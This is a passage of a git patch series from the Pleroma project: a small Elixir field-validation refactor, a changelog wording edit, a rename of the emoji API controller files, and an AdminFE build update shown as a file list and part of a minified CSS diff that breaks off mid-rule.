+++ b/lib/pleroma/user/info.ex
@@ -342,7 +342,9 @@ defp valid_field?(%{"name" => name, "value" => value}) do
name_limit = Pleroma.Config.get([:instance, :account_field_name_length], 255)
value_limit = Pleroma.Config.get([:instance, :account_field_value_length], 255)
- is_binary(name) && is_binary(value) && String.length(name) <= name_limit &&
+ is_binary(name) &&
+ is_binary(value) &&
+ String.length(name) <= name_limit &&
String.length(value) <= value_limit
end
From cf1960d5961a3a01a6d92c44ab4a6d0ce9570a09 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Sun, 22 Sep 2019 23:14:18 +0300
Subject: [PATCH 121/148] Better changelog wording
---
CHANGELOG.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index e5a84f5ae..f28299666 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -6,7 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
## [Unreleased]
### Added
- Refreshing poll results for remote polls
-- Admin API: Add ability to force user's password reset
+- Admin API: Add ability to require password reset
### Changed
- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
From 6b3d5ed6db6a3c73eb1f8373ebd670427aa8849d Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Mon, 23 Sep 2019 21:14:51 +0300
Subject: [PATCH 122/148] Emoji API Controller: Follow phoenix directory
structure
---
.../web/pleroma_api/{ => controllers}/emoji_api_controller.ex | 0
.../web/pleroma_api/{ => controllers}/pleroma_api_controller.ex | 0
test/web/{ => pleroma_api}/emoji_api_controller_test.exs | 0
3 files changed, 0 insertions(+), 0 deletions(-)
rename lib/pleroma/web/pleroma_api/{ => controllers}/emoji_api_controller.ex (100%)
rename lib/pleroma/web/pleroma_api/{ => controllers}/pleroma_api_controller.ex (100%)
rename test/web/{ => pleroma_api}/emoji_api_controller_test.exs (100%)
diff --git a/lib/pleroma/web/pleroma_api/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex
similarity index 100%
rename from lib/pleroma/web/pleroma_api/emoji_api_controller.ex
rename to lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex
diff --git a/lib/pleroma/web/pleroma_api/pleroma_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/pleroma_api_controller.ex
similarity index 100%
rename from lib/pleroma/web/pleroma_api/pleroma_api_controller.ex
rename to lib/pleroma/web/pleroma_api/controllers/pleroma_api_controller.ex
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs
similarity index 100%
rename from test/web/emoji_api_controller_test.exs
rename to test/web/pleroma_api/emoji_api_controller_test.exs
From 646bf0160893f01fe14d1d38f24420ac6c962804 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Mon, 23 Sep 2019 21:13:39 +0200
Subject: [PATCH 123/148] Update AdminFE bundle
---
.../{app.34fc670f.css => app.40438ff5.css} | 2 +-
priv/static/adminfe/chunk-06db.75709645.css | 1 +
priv/static/adminfe/chunk-15fa.bcc01554.css | 1 +
priv/static/adminfe/chunk-1a7d.38eb00cf.css | 1 +
...1.6aaab273.css => chunk-1f27.c0efd1fc.css} | 0
priv/static/adminfe/chunk-2325.0d22684d.css | 1 -
...8.e12401fb.css => chunk-3d1c.2880a519.css} | 0
priv/static/adminfe/chunk-5913.33f0e7ff.css | 1 +
...f.d7a1893c.css => chunk-598f.dc5869e7.css} | 0
...7.ac97b15a.css => chunk-6292.d1c82a11.css} | 0
priv/static/adminfe/chunk-7c6b.4a8663a9.css | 1 +
priv/static/adminfe/chunk-8b70.9ba0945c.css | 1 -
priv/static/adminfe/chunk-e547.e4b6230b.css | 1 -
...d8da6.css => chunk-elementUI.f35d8ab1.css} | 0
...s.4e8c4664.css => chunk-libs.00388c73.css} | 0
priv/static/adminfe/index.html | 2 +-
.../static/adminfe/static/js/7zzA.e1ae1c94.js | Bin 374 -> 416 bytes
.../adminfe/static/js/7zzA.e1ae1c94.js.map | Bin 0 -> 1913 bytes
.../static/adminfe/static/js/JEtC.f9ba4594.js | Bin 388 -> 430 bytes
.../adminfe/static/js/JEtC.f9ba4594.js.map | Bin 0 -> 1903 bytes
priv/static/adminfe/static/js/app.8e186193.js | Bin 137815 -> 0 bytes
priv/static/adminfe/static/js/app.90c455c5.js | Bin 0 -> 161629 bytes
.../adminfe/static/js/app.90c455c5.js.map | Bin 0 -> 354948 bytes
.../adminfe/static/js/chunk-02a0.db6ec114.js | Bin 266229 -> 0 bytes
.../adminfe/static/js/chunk-0620.c765c190.js | Bin 12982 -> 13030 bytes
.../static/js/chunk-0620.c765c190.js.map | Bin 0 -> 63567 bytes
.../adminfe/static/js/chunk-06db.12facc20.js | Bin 0 -> 5112 bytes
.../static/js/chunk-06db.12facc20.js.map | Bin 0 -> 19586 bytes
.../adminfe/static/js/chunk-15fa.b0633695.js | Bin 0 -> 7919 bytes
.../static/js/chunk-15fa.b0633695.js.map | Bin 0 -> 17438 bytes
.../adminfe/static/js/chunk-16d0.6ce78978.js | Bin 0 -> 1576 bytes
.../static/js/chunk-16d0.6ce78978.js.map | Bin 0 -> 4426 bytes
.../adminfe/static/js/chunk-1a7d.8173d81f.js | Bin 0 -> 16157 bytes
.../static/js/chunk-1a7d.8173d81f.js.map | Bin 0 -> 57112 bytes
...8e1.7f9c377c.js => chunk-1f27.d3c35fbc.js} | Bin 2032 -> 2080 bytes
.../static/js/chunk-1f27.d3c35fbc.js.map | Bin 0 -> 9090 bytes
.../adminfe/static/js/chunk-2325.154a537b.js | Bin 8220 -> 0 bytes
...e18.208cd826.js => chunk-3d1c.20303ef7.js} | Bin 4774 -> 4822 bytes
.../static/js/chunk-3d1c.20303ef7.js.map | Bin 0 -> 18519 bytes
.../adminfe/static/js/chunk-5913.1d21a547.js | Bin 0 -> 27091 bytes
.../static/js/chunk-5913.1d21a547.js.map | Bin 0 -> 88770 bytes
...fbf.616fb309.js => chunk-598f.dd8089ce.js} | Bin 17717 -> 17765 bytes
.../static/js/chunk-598f.dd8089ce.js.map | Bin 0 -> 66937 bytes
.../adminfe/static/js/chunk-5e57.7313703a.js | Bin 217441 -> 0 bytes
.../adminfe/static/js/chunk-6292.0e668979.js | Bin 0 -> 231394 bytes
.../static/js/chunk-6292.0e668979.js.map | Bin 0 -> 689117 bytes
.../adminfe/static/js/chunk-7c6b.c306c730.js | Bin 0 -> 7947 bytes
.../static/js/chunk-7c6b.c306c730.js.map | Bin 0 -> 26432 bytes
.../adminfe/static/js/chunk-7fe2.458f9da5.js | Bin 408401 -> 408449 bytes
.../static/js/chunk-7fe2.458f9da5.js.map | Bin 0 -> 1242154 bytes
.../adminfe/static/js/chunk-8b70.46525646.js | Bin 3190 -> 0 bytes
.../adminfe/static/js/chunk-df62.6c5105a6.js | Bin 0 -> 265970 bytes
.../static/js/chunk-df62.6c5105a6.js.map | Bin 0 -> 796489 bytes
.../adminfe/static/js/chunk-e547.d57d1b91.js | Bin 23125 -> 0 bytes
...911151b.js => chunk-elementUI.708d6b68.js} | Bin 638883 -> 638936 bytes
.../static/js/chunk-elementUI.708d6b68.js.map | Bin 0 -> 2312798 bytes
.../adminfe/static/js/chunk-libs.14514767.js | Bin 0 -> 275816 bytes
.../static/js/chunk-libs.14514767.js.map | Bin 0 -> 1641569 bytes
.../adminfe/static/js/chunk-libs.fb0b7f4a.js | Bin 204635 -> 0 bytes
.../static/adminfe/static/js/oAJy.840fb1c2.js | Bin 0 -> 28900 bytes
.../adminfe/static/js/oAJy.840fb1c2.js.map | Bin 0 -> 135594 bytes
.../adminfe/static/js/runtime.e85850af.js | Bin 0 -> 3859 bytes
.../adminfe/static/js/runtime.e85850af.js.map | Bin 0 -> 16537 bytes
.../adminfe/static/js/runtime.f40c8ec4.js | Bin 3608 -> 0 bytes
64 files changed, 7 insertions(+), 5 deletions(-)
rename priv/static/adminfe/{app.34fc670f.css => app.40438ff5.css} (92%)
create mode 100644 priv/static/adminfe/chunk-06db.75709645.css
create mode 100644 priv/static/adminfe/chunk-15fa.bcc01554.css
create mode 100644 priv/static/adminfe/chunk-1a7d.38eb00cf.css
rename priv/static/adminfe/{chunk-18e1.6aaab273.css => chunk-1f27.c0efd1fc.css} (100%)
delete mode 100644 priv/static/adminfe/chunk-2325.0d22684d.css
rename priv/static/adminfe/{chunk-0e18.e12401fb.css => chunk-3d1c.2880a519.css} (100%)
create mode 100644 priv/static/adminfe/chunk-5913.33f0e7ff.css
rename priv/static/adminfe/{chunk-1fbf.d7a1893c.css => chunk-598f.dc5869e7.css} (100%)
rename priv/static/adminfe/{chunk-5e57.ac97b15a.css => chunk-6292.d1c82a11.css} (100%)
create mode 100644 priv/static/adminfe/chunk-7c6b.4a8663a9.css
delete mode 100644 priv/static/adminfe/chunk-8b70.9ba0945c.css
delete mode 100644 priv/static/adminfe/chunk-e547.e4b6230b.css
rename priv/static/adminfe/{chunk-elementUI.e5cd8da6.css => chunk-elementUI.f35d8ab1.css} (100%)
rename priv/static/adminfe/{chunk-libs.4e8c4664.css => chunk-libs.00388c73.css} (100%)
create mode 100644 priv/static/adminfe/static/js/7zzA.e1ae1c94.js.map
create mode 100644 priv/static/adminfe/static/js/JEtC.f9ba4594.js.map
delete mode 100644 priv/static/adminfe/static/js/app.8e186193.js
create mode 100644 priv/static/adminfe/static/js/app.90c455c5.js
create mode 100644 priv/static/adminfe/static/js/app.90c455c5.js.map
delete mode 100644 priv/static/adminfe/static/js/chunk-02a0.db6ec114.js
create mode 100644 priv/static/adminfe/static/js/chunk-0620.c765c190.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-06db.12facc20.js
create mode 100644 priv/static/adminfe/static/js/chunk-06db.12facc20.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-15fa.b0633695.js
create mode 100644 priv/static/adminfe/static/js/chunk-15fa.b0633695.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-16d0.6ce78978.js
create mode 100644 priv/static/adminfe/static/js/chunk-16d0.6ce78978.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-1a7d.8173d81f.js
create mode 100644 priv/static/adminfe/static/js/chunk-1a7d.8173d81f.js.map
rename priv/static/adminfe/static/js/{chunk-18e1.7f9c377c.js => chunk-1f27.d3c35fbc.js} (83%)
create mode 100644 priv/static/adminfe/static/js/chunk-1f27.d3c35fbc.js.map
delete mode 100644 priv/static/adminfe/static/js/chunk-2325.154a537b.js
rename priv/static/adminfe/static/js/{chunk-0e18.208cd826.js => chunk-3d1c.20303ef7.js} (96%)
create mode 100644 priv/static/adminfe/static/js/chunk-3d1c.20303ef7.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-5913.1d21a547.js
create mode 100644 priv/static/adminfe/static/js/chunk-5913.1d21a547.js.map
rename priv/static/adminfe/static/js/{chunk-1fbf.616fb309.js => chunk-598f.dd8089ce.js} (99%)
create mode 100644 priv/static/adminfe/static/js/chunk-598f.dd8089ce.js.map
delete mode 100644 priv/static/adminfe/static/js/chunk-5e57.7313703a.js
create mode 100644 priv/static/adminfe/static/js/chunk-6292.0e668979.js
create mode 100644 priv/static/adminfe/static/js/chunk-6292.0e668979.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-7c6b.c306c730.js
create mode 100644 priv/static/adminfe/static/js/chunk-7c6b.c306c730.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-7fe2.458f9da5.js.map
delete mode 100644 priv/static/adminfe/static/js/chunk-8b70.46525646.js
create mode 100644 priv/static/adminfe/static/js/chunk-df62.6c5105a6.js
create mode 100644 priv/static/adminfe/static/js/chunk-df62.6c5105a6.js.map
delete mode 100644 priv/static/adminfe/static/js/chunk-e547.d57d1b91.js
rename priv/static/adminfe/static/js/{chunk-elementUI.1911151b.js => chunk-elementUI.708d6b68.js} (99%)
create mode 100644 priv/static/adminfe/static/js/chunk-elementUI.708d6b68.js.map
create mode 100644 priv/static/adminfe/static/js/chunk-libs.14514767.js
create mode 100644 priv/static/adminfe/static/js/chunk-libs.14514767.js.map
delete mode 100644 priv/static/adminfe/static/js/chunk-libs.fb0b7f4a.js
create mode 100644 priv/static/adminfe/static/js/oAJy.840fb1c2.js
create mode 100644 priv/static/adminfe/static/js/oAJy.840fb1c2.js.map
create mode 100644 priv/static/adminfe/static/js/runtime.e85850af.js
create mode 100644 priv/static/adminfe/static/js/runtime.e85850af.js.map
delete mode 100644 priv/static/adminfe/static/js/runtime.f40c8ec4.js
diff --git a/priv/static/adminfe/app.34fc670f.css b/priv/static/adminfe/app.40438ff5.css
similarity index 92%
rename from priv/static/adminfe/app.34fc670f.css
rename to priv/static/adminfe/app.40438ff5.css
index 136aa8bb1..b82fcc39e 100644
--- a/priv/static/adminfe/app.34fc670f.css
+++ b/priv/static/adminfe/app.40438ff5.css
@@ -1 +1 @@
-.fade-enter-active,.fade-leave-active{-webkit-transition:opacity .28s;transition:opacity .28s}.fade-enter,.fade-leave-active{opacity:0}.fade-transform-enter-active,.fade-transform-leave-active{-webkit-transition:all .5s;transition:all .5s}.fade-transform-enter{opacity:0;-webkit-transform:translateX(-30px);transform:translateX(-30px)}.fade-transform-leave-to{opacity:0;-webkit-transform:translateX(30px);transform:translateX(30px)}.breadcrumb-enter-active,.breadcrumb-leave-active{-webkit-transition:all .5s;transition:all .5s}.breadcrumb-enter,.breadcrumb-leave-active{opacity:0;-webkit-transform:translateX(20px);transform:translateX(20px)}.breadcrumb-move{-webkit-transition:all .5s;transition:all .5s}.breadcrumb-leave-active{position:absolute}.el-breadcrumb__inner,.el-breadcrumb__inner a{font-weight:400!important}.el-upload input[type=file]{display:none!important}.el-upload__input{display:none}.cell .el-tag{margin-right:0}.small-padding .cell{padding-left:5px;padding-right:5px}.fixed-width .el-button--mini{padding:7px 10px;width:60px}.status-col .cell{padding:0 10px;text-align:center}.status-col .cell .el-tag{margin-right:0}.el-dialog{-webkit-transform:none;transform:none;left:0;position:relative;margin:0 auto}.article-textarea textarea{padding-right:40px;resize:none;border-radius:0;border:none;border-bottom:1px solid #bfcbd9}.upload-container .el-upload{width:100%}.upload-container .el-upload .el-upload-dragger{width:100%;height:200px}.el-dropdown-menu a{display:block}#app .main-container{min-height:100%;-webkit-transition:margin-left .28s;transition:margin-left .28s;margin-left:180px;position:relative}#app .sidebar-container{-webkit-transition:width .28s;transition:width .28s;width:180px!important;height:100%;position:fixed;font-size:0;top:0;bottom:0;left:0;z-index:1001;overflow:hidden}#app .sidebar-container .horizontal-collapse-transition{-webkit-transition:width 0s ease-in-out,padding-left 0s ease-in-out,padding-right 0s ease-in-out;transition:width 0s ease-in-out,padding-left 0s ease-in-out,padding-right 0s ease-in-out}#app .sidebar-container .scrollbar-wrapper{overflow-x:hidden!important}#app .sidebar-container .scrollbar-wrapper .el-scrollbar__view{height:100%}#app .sidebar-container .el-scrollbar__bar.is-vertical{right:0}#app .sidebar-container .is-horizontal{display:none}#app .sidebar-container a{display:inline-block;width:100%;overflow:hidden}#app .sidebar-container .svg-icon{margin-right:16px}#app .sidebar-container .el-menu{border:none;height:100%;width:100%!important}#app .sidebar-container .el-submenu__title:hover,#app .sidebar-container .submenu-title-noDropdown:hover{background-color:#263445!important}#app .sidebar-container .is-active>.el-submenu__title{color:#f4f4f5!important}#app .sidebar-container .el-submenu .el-menu-item,#app .sidebar-container .nest-menu .el-submenu>.el-submenu__title{min-width:180px!important;background-color:#1f2d3d!important}#app .sidebar-container .el-submenu .el-menu-item:hover,#app .sidebar-container .nest-menu .el-submenu>.el-submenu__title:hover{background-color:#001528!important}#app .hideSidebar .sidebar-container{width:36px!important}#app .hideSidebar .main-container{margin-left:36px}#app .hideSidebar .submenu-title-noDropdown{padding-left:10px!important;position:relative}#app .hideSidebar .submenu-title-noDropdown .el-tooltip{padding:0 10px!important}#app .hideSidebar .el-submenu{overflow:hidden}#app .hideSidebar .el-submenu>.el-submenu__title{padding-left:10px!important}#app .hideSidebar .el-submenu>.el-submenu__title .el-submenu__icon-arrow{display:none}#app .hideSidebar .el-menu--collapse .el-submenu>.el-submenu__title>span{height:0;width:0;overflow:hidden;visibility:hidden;display:inline-block}#app .el-menu--collapse .el-menu .el-submenu{min-width:180px!important}#app .mobile .main-container{margin-left:0}#app .mobile .sidebar-container{-webkit-transition:-webkit-transform .28s;transition:-webkit-transform .28s;transition:transform .28s;transition:transform .28s,-webkit-transform .28s;width:180px!important}#app .mobile.hideSidebar .sidebar-container{pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(-180px,0,0);transform:translate3d(-180px,0,0)}#app .withoutAnimation .main-container,#app .withoutAnimation .sidebar-container{-webkit-transition:none;transition:none}.el-menu--vertical>.el-menu .svg-icon{margin-right:16px}.el-menu--vertical .el-menu-item:hover,.el-menu--vertical .nest-menu .el-submenu>.el-submenu__title:hover{background-color:#263445!important}.blue-btn{background:#324157}.blue-btn:hover{color:#324157}.blue-btn:hover:after,.blue-btn:hover:before{background:#324157}.light-blue-btn{background:#3a71a8}.light-blue-btn:hover{color:#3a71a8}.light-blue-btn:hover:after,.light-blue-btn:hover:before{background:#3a71a8}.red-btn{background:#c03639}.red-btn:hover{color:#c03639}.red-btn:hover:after,.red-btn:hover:before{background:#c03639}.pink-btn{background:#e65d6e}.pink-btn:hover{color:#e65d6e}.pink-btn:hover:after,.pink-btn:hover:before{background:#e65d6e}.green-btn{background:#30b08f}.green-btn:hover{color:#30b08f}.green-btn:hover:after,.green-btn:hover:before{background:#30b08f}.tiffany-btn{background:#4ab7bd}.tiffany-btn:hover{color:#4ab7bd}.tiffany-btn:hover:after,.tiffany-btn:hover:before{background:#4ab7bd}.yellow-btn{background:#fec171}.yellow-btn:hover{color:#fec171}.yellow-btn:hover:after,.yellow-btn:hover:before{background:#fec171}.pan-btn{font-size:14px;color:#fff;padding:14px 36px;border-radius:8px;border:none;outline:none;-webkit-transition:all .6s ease;transition:all .6s ease;position:relative;display:inline-block}.pan-btn:hover{background:#fff}.pan-btn:hover:after,.pan-btn:hover:before{width:100%;-webkit-transition:all .6s ease;transition:all .6s ease}.pan-btn:after,.pan-btn:before{content:"";position:absolute;top:0;right:0;height:2px;width:0;-webkit-transition:all .4s ease;transition:all .4s ease}.pan-btn:after{right:inherit;top:inherit;left:0;bottom:0}.custom-button{display:inline-block;line-height:1;white-space:nowrap;cursor:pointer;background:#fff;color:#fff;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;outline:0;margin:0;padding:10px 15px;font-size:14px;border-radius:4px}body{height:100%;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;font-family:Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Arial,sans-serif}label{font-weight:700}html{-webkit-box-sizing:border-box;box-sizing:border-box}#app,html{height:100%}*,:after,:before{-webkit-box-sizing:inherit;box-sizing:inherit}.no-padding{padding:0!important}.padding-content{padding:4px 0}a:active,a:focus{outline:none}a,a:focus,a:hover{cursor:pointer;color:inherit;text-decoration:none}div:focus{outline:none}.fr{float:right}.fl{float:left}.pr-5{padding-right:5px}.pl-5{padding-left:5px}.block{display:block}.pointer{cursor:pointer}.inlineBlock{display:block}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}code{background:#eef1f6;padding:15px 16px;margin-bottom:20px;display:block;line-height:36px;font-size:15px;font-family:Source Sans Pro,Helvetica Neue,Arial,sans-serif}code a{color:#337ab7;cursor:pointer}code a:hover{color:#20a0ff}.warn-content{background:rgba(66,185,131,.1);border-radius:2px;padding:1rem;line-height:1.6rem;word-spacing:.05rem}.warn-content a{color:#42b983;font-weight:600}.app-container{padding:20px}.components-container{margin:30px 50px;position:relative}.pagination-container{margin-top:30px}.text-center{text-align:center}.sub-navbar{height:50px;line-height:50px;position:relative;width:100%;text-align:right;padding-right:20px;-webkit-transition:position .6s ease;transition:position .6s ease;background:-webkit-gradient(linear,left top,right top,from(#20b6f9),color-stop(0,#20b6f9),color-stop(100%,#2178f1),to(#2178f1));background:linear-gradient(90deg,#20b6f9,#20b6f9 0,#2178f1 100%,#2178f1 0)}.sub-navbar .subtitle{font-size:20px;color:#fff}.sub-navbar.deleted,.sub-navbar.draft{background:#d0d0d0}.link-type,.link-type:focus{color:#337ab7;cursor:pointer}.link-type:focus:hover,.link-type:hover{color:#20a0ff}.filter-container{padding-bottom:10px}.filter-container .filter-item{display:inline-block;vertical-align:middle;margin-bottom:10px}.multiselect{line-height:16px}.multiselect--active{z-index:1000!important}.hamburger[data-v-3ee86d44]{display:inline-block;vertical-align:middle;width:20px;height:20px}.hamburger.is-active[data-v-3ee86d44]{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.navbar[data-v-5e8599dc]{height:50px;overflow:hidden}.navbar .hamburger-container[data-v-5e8599dc]{line-height:46px;height:100%;float:left;cursor:pointer;-webkit-transition:background .3s;transition:background .3s}.navbar .hamburger-container[data-v-5e8599dc]:hover{background:rgba(0,0,0,.025)}.navbar .breadcrumb-container[data-v-5e8599dc]{float:left}.navbar .errLog-container[data-v-5e8599dc]{display:inline-block;vertical-align:top}.navbar .right-menu[data-v-5e8599dc]{float:right;height:100%;line-height:50px}.navbar .right-menu[data-v-5e8599dc]:focus{outline:none}.navbar .right-menu .right-menu-item[data-v-5e8599dc]{display:inline-block;padding:0 8px;height:100%;font-size:18px;color:#5a5e66;vertical-align:text-bottom}.navbar .right-menu .right-menu-item.hover-effect[data-v-5e8599dc]{cursor:pointer;-webkit-transition:background .3s;transition:background .3s}.navbar .right-menu .right-menu-item.hover-effect[data-v-5e8599dc]:hover{background:rgba(0,0,0,.025)}.navbar .right-menu .avatar-container .avatar-wrapper[data-v-5e8599dc]{margin-top:5px;position:relative}.navbar .right-menu .avatar-container .avatar-wrapper .user-avatar[data-v-5e8599dc]{cursor:pointer;width:40px;height:40px;border-radius:10px}.navbar .right-menu .avatar-container .avatar-wrapper .el-icon-caret-bottom[data-v-5e8599dc]{cursor:pointer;position:absolute;right:-20px;top:25px;font-size:12px}.scroll-container[data-v-547b5dea]{white-space:nowrap;position:relative;overflow:hidden;width:100%}.scroll-container[data-v-547b5dea] .el-scrollbar__bar{bottom:0}.scroll-container[data-v-547b5dea] .el-scrollbar__wrap{height:49px}.tags-view-container[data-v-67e96c42]{height:34px;width:100%;background:#fff;border-bottom:1px solid #d8dce5;-webkit-box-shadow:0 1px 3px 0 rgba(0,0,0,.12),0 0 3px 0 rgba(0,0,0,.04);box-shadow:0 1px 3px 0 rgba(0,0,0,.12),0 0 3px 0 rgba(0,0,0,.04)}.tags-view-container .tags-view-wrapper .tags-view-item[data-v-67e96c42]{display:inline-block;position:relative;cursor:pointer;height:26px;line-height:26px;border:1px solid #d8dce5;color:#495060;background:#fff;padding:0 8px;font-size:12px;margin-left:5px;margin-top:4px}.tags-view-container .tags-view-wrapper .tags-view-item[data-v-67e96c42]:first-of-type{margin-left:15px}.tags-view-container .tags-view-wrapper .tags-view-item[data-v-67e96c42]:last-of-type{margin-right:15px}.tags-view-container .tags-view-wrapper .tags-view-item.active[data-v-67e96c42]{background-color:#42b983;color:#fff;border-color:#42b983}.tags-view-container .tags-view-wrapper .tags-view-item.active[data-v-67e96c42]:before{content:"";background:#fff;display:inline-block;width:8px;height:8px;border-radius:50%;position:relative;margin-right:2px}.tags-view-container .contextmenu[data-v-67e96c42]{margin:0;background:#fff;z-index:100;position:absolute;list-style-type:none;padding:5px 0;border-radius:4px;font-size:12px;font-weight:400;color:#333;-webkit-box-shadow:2px 2px 3px 0 rgba(0,0,0,.3);box-shadow:2px 2px 3px 0 rgba(0,0,0,.3)}.tags-view-container .contextmenu li[data-v-67e96c42]{margin:0;padding:7px 16px;cursor:pointer}.tags-view-container .contextmenu li[data-v-67e96c42]:hover{background:#eee}.tags-view-wrapper .tags-view-item .el-icon-close{width:16px;height:16px;vertical-align:2px;border-radius:50%;text-align:center;-webkit-transition:all .3s cubic-bezier(.645,.045,.355,1);transition:all .3s cubic-bezier(.645,.045,.355,1);-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.tags-view-wrapper .tags-view-item .el-icon-close:before{-webkit-transform:scale(.6);transform:scale(.6);display:inline-block;vertical-align:-3px}.tags-view-wrapper .tags-view-item .el-icon-close:hover{background-color:#b4bccc;color:#fff}.app-main[data-v-f852c4f2]{min-height:calc(100vh - 84px);width:100%;position:relative;overflow:hidden}.app-wrapper[data-v-767d264f]{position:relative;height:100%;width:100%}.app-wrapper[data-v-767d264f]:after{content:"";display:table;clear:both}.app-wrapper.mobile.openSidebar[data-v-767d264f]{position:fixed;top:0}.drawer-bg[data-v-767d264f]{background:#000;opacity:.3;width:100%;top:0;height:100%;position:absolute;z-index:999}.svg-icon[data-v-4e710b96]{width:1em;height:1em;vertical-align:-.15em;fill:currentColor;overflow:hidden}
\ No newline at end of file
+.fade-enter-active,.fade-leave-active{-webkit-transition:opacity .28s;transition:opacity .28s}.fade-enter,.fade-leave-active{opacity:0}.fade-transform-enter-active,.fade-transform-leave-active{-webkit-transition:all .5s;transition:all .5s}.fade-transform-enter{opacity:0;-webkit-transform:translateX(-30px);transform:translateX(-30px)}.fade-transform-leave-to{opacity:0;-webkit-transform:translateX(30px);transform:translateX(30px)}.breadcrumb-enter-active,.breadcrumb-leave-active{-webkit-transition:all .5s;transition:all .5s}.breadcrumb-enter,.breadcrumb-leave-active{opacity:0;-webkit-transform:translateX(20px);transform:translateX(20px)}.breadcrumb-move{-webkit-transition:all .5s;transition:all .5s}.breadcrumb-leave-active{position:absolute}.el-breadcrumb__inner,.el-breadcrumb__inner a{font-weight:400!important}.el-upload input[type=file]{display:none!important}.el-upload__input{display:none}.cell .el-tag{margin-right:0}.small-padding .cell{padding-left:5px;padding-right:5px}.fixed-width .el-button--mini{padding:7px 10px;width:60px}.status-col .cell{padding:0 10px;text-align:center}.status-col .cell .el-tag{margin-right:0}.el-dialog{-webkit-transform:none;transform:none;left:0;position:relative;margin:0 auto}.article-textarea textarea{padding-right:40px;resize:none;border-radius:0;border:none;border-bottom:1px solid #bfcbd9}.upload-container .el-upload{width:100%}.upload-container .el-upload .el-upload-dragger{width:100%;height:200px}.el-dropdown-menu a{display:block}#app .main-container{min-height:100%;-webkit-transition:margin-left .28s;transition:margin-left .28s;margin-left:180px;position:relative}#app .sidebar-container{-webkit-transition:width .28s;transition:width .28s;width:180px!important;height:100%;position:fixed;font-size:0;top:0;bottom:0;left:0;z-index:1001;overflow:hidden}#app .sidebar-container .horizontal-collapse-transition{-webkit-transition:width 0s ease-in-out,padding-left 0s ease-in-out,padding-right 0s ease-in-out;transition:width 0s ease-in-out,padding-left 0s ease-in-out,padding-right 0s ease-in-out}#app .sidebar-container .scrollbar-wrapper{overflow-x:hidden!important}#app .sidebar-container .scrollbar-wrapper .el-scrollbar__view{height:100%}#app .sidebar-container .el-scrollbar__bar.is-vertical{right:0}#app .sidebar-container .is-horizontal{display:none}#app .sidebar-container a{display:inline-block;width:100%;overflow:hidden}#app .sidebar-container .svg-icon{margin-right:16px}#app .sidebar-container .el-menu{border:none;height:100%;width:100%!important}#app .sidebar-container .el-submenu__title:hover,#app .sidebar-container .submenu-title-noDropdown:hover{background-color:#263445!important}#app .sidebar-container .is-active>.el-submenu__title{color:#f4f4f5!important}#app .sidebar-container .el-submenu .el-menu-item,#app .sidebar-container .nest-menu .el-submenu>.el-submenu__title{min-width:180px!important;background-color:#1f2d3d!important}#app .sidebar-container .el-submenu .el-menu-item:hover,#app .sidebar-container .nest-menu .el-submenu>.el-submenu__title:hover{background-color:#001528!important}#app .hideSidebar .sidebar-container{width:36px!important}#app .hideSidebar .main-container{margin-left:36px}#app .hideSidebar .submenu-title-noDropdown{padding-left:10px!important;position:relative}#app .hideSidebar .submenu-title-noDropdown .el-tooltip{padding:0 10px!important}#app .hideSidebar .el-submenu{overflow:hidden}#app .hideSidebar .el-submenu>.el-submenu__title{padding-left:10px!important}#app .hideSidebar .el-submenu>.el-submenu__title .el-submenu__icon-arrow{display:none}#app .hideSidebar .el-menu--collapse .el-submenu>.el-submenu__title>span{height:0;width:0;overflow:hidden;visibility:hidden;display:inline-block}#app .el-menu--collapse .el-menu .el-submenu{min-width:180px!important}#app .mobile .main-container{margin-left:0}#app .mobile .sidebar-container{-webkit-transition:-webkit-transform .28s;transition:-webkit-transform .28s;transition:transform .28s;transition:transform .28s,-webkit-transform .28s;width:180px!important}#app .mobile.hideSidebar .sidebar-container{pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(-180px,0,0);transform:translate3d(-180px,0,0)}#app .withoutAnimation .main-container,#app .withoutAnimation .sidebar-container{-webkit-transition:none;transition:none}.el-menu--vertical>.el-menu .svg-icon{margin-right:16px}.el-menu--vertical .el-menu-item:hover,.el-menu--vertical .nest-menu 